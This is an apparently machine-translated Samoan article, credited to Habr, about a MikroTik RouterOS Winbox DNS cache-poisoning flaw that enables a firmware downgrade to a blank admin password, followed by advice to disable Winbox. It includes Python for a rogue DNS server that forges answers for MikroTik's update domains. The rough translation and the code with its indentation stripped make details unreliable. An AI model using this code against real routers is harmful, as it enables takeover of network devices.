O le mafai ona fa'alaloina mamao masini fa'avae i luga o le RouterOS (Mikrotik) e tu'u ai le faitau selau afe o masini feso'ota'iga i se tulaga lamatia. O le faʻafitauli e fesoʻotaʻi ma le oona o le DNS cache o le Winbox protocol ma faʻatagaina oe e utaina le tuai (faʻatasi ai ma le faʻaogaina o le upu faʻamaonia) poʻo le suiga o le firmware i luga o le masini.
Fa'amatalaga vaivai
E lagolagoina e le laina RouterOS le fa'atonuga mo le su'esu'eina o DNS.
O lenei talosaga e taulimaina e se binary e taʻua o le solver. Resolver o se tasi o le tele o binaries e fesoʻotaʻi i le RouterOS's Winbox protocol. I se tulaga maualuga, "fe'au" auina atu i le Winbox uafu e mafai ona fa'asalalauina i binaries eseese i RouterOS fa'avae i luga o se fa'asologa fa'asologa o numera.
Ona o le faaletonu, o le RouterOS ua le atoatoa le vaega o le DNS server.
Ae ui i lea, e tusa lava pe le atoatoa le galuega a le server, e tausia e le router lona lava DNS cache.
A matou faia se talosaga e faʻaaoga ai winbox_dns_request mo se faʻataʻitaʻiga.com, o le a faʻapipiʻi e le router le taunuuga.
Talu ai e mafai ona matou faʻamaonia le DNS server lea e tatau ona alu ai le talosaga, o le ulufale atu i tuatusi sese e le taua. Mo se faʻataʻitaʻiga, e mafai ona e faʻatulagaina se faʻatinoga DNS server mai
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Ia afai e te suʻeina le example.com e faʻaaoga ai le Winbox, e mafai ona e vaʻaia o le DNS cache o le router ua oona.
Ioe, oona example.com e le aoga tele talu ai e le fa'aaogaina e le router. Ae ui i lea, e manaʻomia e le router ona maua le upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ma download.mikrotik.com. Ma faafetai i se isi mea sese, e mafai ona oona uma i le taimi e tasi.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
E tasi le fa'atagaga e talosagaina e le router, ma matou toe fa'afo'i lima. E le fa'asa'o sa'o e le router ia tali uma.
E manino lava, o lenei osofaʻiga e aoga foi pe a fai o le router o loʻo galue o se DNS server, talu ai e mafai ai ona osofaia tagata o le router.
O lenei osofaʻiga e mafai ai foi ona e faʻaogaina se faʻafitauli sili atu ona mataʻutia: faʻaititia poʻo le tua i tua le version o RouterOS. O le tagata osofaʻi na te toe faia le faʻaogaina o le faʻafouga o le server, e aofia ai le changelog, ma faʻamalosia le RouterOS e vaʻai i le tuai (faʻaleagaina) faʻamatalaga e pei o le taimi nei. O le lamatiaga iinei o loʻo taoto i le mea moni e faapea, pe a "faʻafouina" le faʻamatalaga, e toe faʻafoʻi le faʻaupuga o le pule i le tau le aoga - e mafai e se tagata osofaʻi ona ulufale i totonu o le polokalama ma se faʻaupuga avanoa!
O loʻo galue le osofaʻiga, e ui lava i le mea moni
puipuiga
Na o le faʻamalo Winbox e mafai ai ona e puipuia oe lava mai nei osofaʻiga. E ui i le faigofie o le pulega e ala i Winbox, e sili atu le faʻaogaina o le SSH protocol.
puna: www.habr.com